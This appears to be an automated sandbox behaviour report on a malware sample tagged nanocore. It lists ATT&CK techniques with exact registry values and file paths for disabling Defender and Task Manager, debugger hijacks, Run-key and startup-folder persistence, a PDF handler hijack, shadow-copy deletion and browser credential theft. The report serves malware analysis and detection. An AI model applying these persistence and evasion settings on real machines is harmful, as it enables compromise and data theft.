nanocore | 1bf742a0b7a2c4793799b4323e1aae8161c885c62e5641032b7f862fd1af93d6

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	cakhiatva.live_chrome.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4188	powershell.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	cakhiatva.live_chrome.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	cakhiatva.live_chrome.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	cakhiatva.live_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cakhiatva.live_chrome.exe"	cakhiatva.live_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	cakhiatva.live_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cakhiatva.live_chrome.exe"	cakhiatva.live_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	cakhiatva.live_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cakhiatva.live_chrome.exe"	cakhiatva.live_chrome.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

Disable or Modify System Firewall

T1562.004

pid	Process
5076	netsh.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Drops startup file 64 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_17.pdf	cakhiatva.live_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_90.pdf	cakhiatva.live_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_137.pdf	cakhiatva.live_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_158.pdf	cakhiatva.live_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_168.pdf	cakhiatva.live_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_193.pdf	cakhiatva.live_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_10.pdf	cakhiatva.live_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_47.pdf	cakhiatva.live_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_70.pdf	cakhiatva.live_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_112.pdf	cakhiatva.live_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_144.pdf	cakhiatva.live_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_147.pdf	cakhiatva.live_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_165.pdf	cakhiatva.live_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_21.pdf	cakhiatva.live_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_27.pdf	cakhiatva.live_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_33.pdf	cakhiatva.live_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_73.pdf	cakhiatva.live_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_82.pdf	cakhiatva.live_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_121.pdf	cakhiatva.live_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_164.pdf	cakhiatva.live_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_2.pdf	cakhiatva.live_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_26.pdf	cakhiatva.live_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_51.pdf	cakhiatva.live_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_68.pdf	cakhiatva.live_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_71.pdf	cakhiatva.live_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_77.pdf	cakhiatva.live_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_100.pdf	cakhiatva.live_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_123.pdf	cakhiatva.live_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_6.pdf	cakhiatva.live_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_67.pdf	cakhiatva.live_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_93.pdf	cakhiatva.live_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_154.pdf	cakhiatva.live_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_174.pdf	cakhiatva.live_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_178.pdf	cakhiatva.live_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_13.pdf	cakhiatva.live_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_29.pdf	cakhiatva.live_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_84.pdf	cakhiatva.live_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_86.pdf	cakhiatva.live_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_93.pdf	cakhiatva.live_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_115.pdf	cakhiatva.live_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_153.pdf	cakhiatva.live_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_195.pdf	cakhiatva.live_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_4.pdf	cakhiatva.live_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_7.pdf	cakhiatva.live_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_28.pdf	cakhiatva.live_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_71.pdf	cakhiatva.live_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_76.pdf	cakhiatva.live_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_82.pdf	cakhiatva.live_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_138.pdf	cakhiatva.live_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_148.pdf	cakhiatva.live_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_32.pdf	cakhiatva.live_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_32.pdf	cakhiatva.live_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_39.pdf	cakhiatva.live_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_61.pdf	cakhiatva.live_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_83.pdf	cakhiatva.live_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_127.pdf	cakhiatva.live_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_151.pdf	cakhiatva.live_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_170.pdf	cakhiatva.live_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_15.pdf	cakhiatva.live_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_30.pdf	cakhiatva.live_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_41.pdf	cakhiatva.live_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_75.pdf	cakhiatva.live_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_78.pdf	cakhiatva.live_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_87.pdf	cakhiatva.live_chrome.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cakhiatva.live_chrome.exe"	cakhiatva.live_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cakhiatva.live_chrome.exe"	cakhiatva.live_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cakhiatva.live_chrome.exe"	cakhiatva.live_chrome.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\svchost.exe	cakhiatva.live_chrome.exe
File created	C:\Windows\system32\sysupdate.exe	cakhiatva.live_chrome.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	cakhiatva.live_chrome.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

discovery

Process Discovery

T1057

pid	Process
5312	tasklist.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
4724	wscript.exe
308	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	cakhiatva.live_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	cakhiatva.live_chrome.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5832	sc.exe
2904	sc.exe
3420	sc.exe
4832	sc.exe
3312	sc.exe
6072	sc.exe
4448	sc.exe
5312	sc.exe
4736	sc.exe
1536	sc.exe
1344	sc.exe
2804	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4416	cmd.exe
4116	cmd.exe
3292	cmd.exe
620	cmd.exe
5832	cmd.exe
1820	cmd.exe
5732	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2848	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
5948	NETSTAT.EXE
5444	ipconfig.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
400	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
3912	vssadmin.exe
4440	vssadmin.exe
3300	vssadmin.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Control Panel\Desktop\WallpaperStyle = "2"	cakhiatva.live_chrome.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134289769727845676"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	cakhiatva.live_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	cakhiatva.live_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\cakhiatva.live_chrome.exe\" \"%1\""	cakhiatva.live_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open	cakhiatva.live_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command	cakhiatva.live_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	cakhiatva.live_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command\DelegateExecute	cakhiatva.live_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open	cakhiatva.live_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	cakhiatva.live_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings	cakhiatva.live_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cakhiatva.live_chrome.exe"	cakhiatva.live_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet"	cakhiatva.live_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command	cakhiatva.live_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell	cakhiatva.live_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell	cakhiatva.live_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings	cakhiatva.live_chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
5920	schtasks.exe
2656	schtasks.exe
6064	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4064	chrome.exe
4064	chrome.exe
4188	powershell.exe
4188	powershell.exe
4188	powershell.exe
1672	WMIC.exe
1672	WMIC.exe
1672	WMIC.exe
1672	WMIC.exe
4684	cakhiatva.live_chrome.exe
4684	cakhiatva.live_chrome.exe
4684	cakhiatva.live_chrome.exe
4684	cakhiatva.live_chrome.exe
5524	WMIC.exe
5524	WMIC.exe
5524	WMIC.exe
5524	WMIC.exe
4684	cakhiatva.live_chrome.exe
4684	cakhiatva.live_chrome.exe
4684	cakhiatva.live_chrome.exe
4684	cakhiatva.live_chrome.exe
4684	cakhiatva.live_chrome.exe
4872	WMIC.exe
4872	WMIC.exe
4872	WMIC.exe
4872	WMIC.exe
4684	cakhiatva.live_chrome.exe
4684	cakhiatva.live_chrome.exe
4684	cakhiatva.live_chrome.exe
4684	cakhiatva.live_chrome.exe
4684	cakhiatva.live_chrome.exe
4684	cakhiatva.live_chrome.exe
4684	cakhiatva.live_chrome.exe
4684	cakhiatva.live_chrome.exe
4684	cakhiatva.live_chrome.exe
4684	cakhiatva.live_chrome.exe
4684	cakhiatva.live_chrome.exe
4684	cakhiatva.live_chrome.exe
4684	cakhiatva.live_chrome.exe
4684	cakhiatva.live_chrome.exe
4684	cakhiatva.live_chrome.exe
4684	cakhiatva.live_chrome.exe
4684	cakhiatva.live_chrome.exe
4684	cakhiatva.live_chrome.exe
4684	cakhiatva.live_chrome.exe
4684	cakhiatva.live_chrome.exe
4684	cakhiatva.live_chrome.exe
4684	cakhiatva.live_chrome.exe
4684	cakhiatva.live_chrome.exe
4684	cakhiatva.live_chrome.exe
4684	cakhiatva.live_chrome.exe
4684	cakhiatva.live_chrome.exe
4684	cakhiatva.live_chrome.exe
4684	cakhiatva.live_chrome.exe
4684	cakhiatva.live_chrome.exe
4684	cakhiatva.live_chrome.exe
4684	cakhiatva.live_chrome.exe
4684	cakhiatva.live_chrome.exe
4684	cakhiatva.live_chrome.exe
4684	cakhiatva.live_chrome.exe
4684	cakhiatva.live_chrome.exe
4684	cakhiatva.live_chrome.exe
4684	cakhiatva.live_chrome.exe
4684	cakhiatva.live_chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4684	cakhiatva.live_chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs

pid	Process
4064	chrome.exe
4064	chrome.exe
4064	chrome.exe
4064	chrome.exe
4064	chrome.exe
4064	chrome.exe
4064	chrome.exe
4064	chrome.exe
4064	chrome.exe
4064	chrome.exe
4064	chrome.exe
4064	chrome.exe
4064	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4064	chrome.exe
Token: SeCreatePagefilePrivilege	4064	chrome.exe
Token: SeDebugPrivilege	4188	powershell.exe
Token: SeShutdownPrivilege	4064	chrome.exe
Token: SeCreatePagefilePrivilege	4064	chrome.exe
Token: SeShutdownPrivilege	4064	chrome.exe
Token: SeCreatePagefilePrivilege	4064	chrome.exe
Token: SeShutdownPrivilege	4064	chrome.exe
Token: SeCreatePagefilePrivilege	4064	chrome.exe
Token: SeShutdownPrivilege	4064	chrome.exe
Token: SeCreatePagefilePrivilege	4064	chrome.exe
Token: SeShutdownPrivilege	4064	chrome.exe
Token: SeCreatePagefilePrivilege	4064	chrome.exe
Token: SeShutdownPrivilege	4064	chrome.exe
Token: SeCreatePagefilePrivilege	4064	chrome.exe
Token: SeShutdownPrivilege	4064	chrome.exe
Token: SeCreatePagefilePrivilege	4064	chrome.exe
Token: SeShutdownPrivilege	4064	chrome.exe
Token: SeCreatePagefilePrivilege	4064	chrome.exe
Token: SeShutdownPrivilege	4064	chrome.exe
Token: SeCreatePagefilePrivilege	4064	chrome.exe
Token: SeShutdownPrivilege	4064	chrome.exe
Token: SeCreatePagefilePrivilege	4064	chrome.exe
Token: SeIncreaseQuotaPrivilege	1672	WMIC.exe
Token: SeSecurityPrivilege	1672	WMIC.exe
Token: SeTakeOwnershipPrivilege	1672	WMIC.exe
Token: SeLoadDriverPrivilege	1672	WMIC.exe
Token: SeSystemProfilePrivilege	1672	WMIC.exe
Token: SeSystemtimePrivilege	1672	WMIC.exe
Token: SeProfSingleProcessPrivilege	1672	WMIC.exe
Token: SeIncBasePriorityPrivilege	1672	WMIC.exe
Token: SeCreatePagefilePrivilege	1672	WMIC.exe
Token: SeBackupPrivilege	1672	WMIC.exe
Token: SeRestorePrivilege	1672	WMIC.exe
Token: SeShutdownPrivilege	1672	WMIC.exe
Token: SeDebugPrivilege	1672	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1672	WMIC.exe
Token: SeRemoteShutdownPrivilege	1672	WMIC.exe
Token: SeUndockPrivilege	1672	WMIC.exe
Token: SeManageVolumePrivilege	1672	WMIC.exe
Token: 33	1672	WMIC.exe
Token: 34	1672	WMIC.exe
Token: 35	1672	WMIC.exe
Token: 36	1672	WMIC.exe
Token: SeBackupPrivilege	5568	vssvc.exe
Token: SeRestorePrivilege	5568	vssvc.exe
Token: SeAuditPrivilege	5568	vssvc.exe
Token: SeIncreaseQuotaPrivilege	1672	WMIC.exe
Token: SeSecurityPrivilege	1672	WMIC.exe
Token: SeTakeOwnershipPrivilege	1672	WMIC.exe
Token: SeLoadDriverPrivilege	1672	WMIC.exe
Token: SeSystemProfilePrivilege	1672	WMIC.exe
Token: SeSystemtimePrivilege	1672	WMIC.exe
Token: SeProfSingleProcessPrivilege	1672	WMIC.exe
Token: SeIncBasePriorityPrivilege	1672	WMIC.exe
Token: SeCreatePagefilePrivilege	1672	WMIC.exe
Token: SeBackupPrivilege	1672	WMIC.exe
Token: SeRestorePrivilege	1672	WMIC.exe
Token: SeShutdownPrivilege	1672	WMIC.exe
Token: SeDebugPrivilege	1672	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1672	WMIC.exe
Token: SeRemoteShutdownPrivilege	1672	WMIC.exe
Token: SeUndockPrivilege	1672	WMIC.exe
Token: SeManageVolumePrivilege	1672	WMIC.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
4064	chrome.exe
4064	chrome.exe
4064	chrome.exe
4064	chrome.exe
4064	chrome.exe
4064	chrome.exe
4064	chrome.exe
4064	chrome.exe
4064	chrome.exe
4064	chrome.exe
4064	chrome.exe
4064	chrome.exe
4064	chrome.exe
4064	chrome.exe
4064	chrome.exe
4064	chrome.exe
4064	chrome.exe
4064	chrome.exe
4064	chrome.exe
4064	chrome.exe
4064	chrome.exe
4064	chrome.exe
4064	chrome.exe
4064	chrome.exe
4064	chrome.exe
4064	chrome.exe
4064	chrome.exe
4064	chrome.exe
4064	chrome.exe
4064	chrome.exe
4064	chrome.exe
4064	chrome.exe
4064	chrome.exe
4064	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
4064	chrome.exe
4064	chrome.exe
4064	chrome.exe
4064	chrome.exe
4064	chrome.exe
4064	chrome.exe
4064	chrome.exe
4064	chrome.exe
4064	chrome.exe
4064	chrome.exe
4064	chrome.exe
4064	chrome.exe
4064	chrome.exe
4064	chrome.exe
4064	chrome.exe
4064	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4684	cakhiatva.live_chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4684 wrote to memory of 4064	4684	cakhiatva.live_chrome.exe	89
PID 4064 wrote to memory of 1632	4064	chrome.exe	90
PID 4684 wrote to memory of 4188	4684	cakhiatva.live_chrome.exe	91
PID 4684 wrote to memory of 5312	4684	cakhiatva.live_chrome.exe	159
PID 4064 wrote to memory of 2848	4064	chrome.exe	95
PID 4064 wrote to memory of 4880	4064	chrome.exe	96
PID 4064 wrote to memory of 4880	4064	chrome.exe	96
PID 4064 wrote to memory of 464	4064	chrome.exe	97
PID 4064 wrote to memory of 464	4064	chrome.exe	97
PID 4064 wrote to memory of 4404	4064	chrome.exe	135
PID 4064 wrote to memory of 5308	4064	chrome.exe	100
PID 4064 wrote to memory of 4404	4064	chrome.exe	135
PID 4064 wrote to memory of 5308	4064	chrome.exe	100
PID 4684 wrote to memory of 4736	4684	cakhiatva.live_chrome.exe	101
PID 4684 wrote to memory of 5832	4684	cakhiatva.live_chrome.exe	147
PID 4064 wrote to memory of 4560	4064	chrome.exe	105
PID 4064 wrote to memory of 4560	4064	chrome.exe	105
PID 4064 wrote to memory of 1516	4064	chrome.exe	157
PID 4064 wrote to memory of 1516	4064	chrome.exe	157
PID 4684 wrote to memory of 2904	4684	cakhiatva.live_chrome.exe	107
PID 4684 wrote to memory of 3420	4684	cakhiatva.live_chrome.exe	109
PID 4684 wrote to memory of 4832	4684	cakhiatva.live_chrome.exe	111
PID 4684 wrote to memory of 1536	4684	cakhiatva.live_chrome.exe	113
PID 4684 wrote to memory of 3312	4684	cakhiatva.live_chrome.exe	115
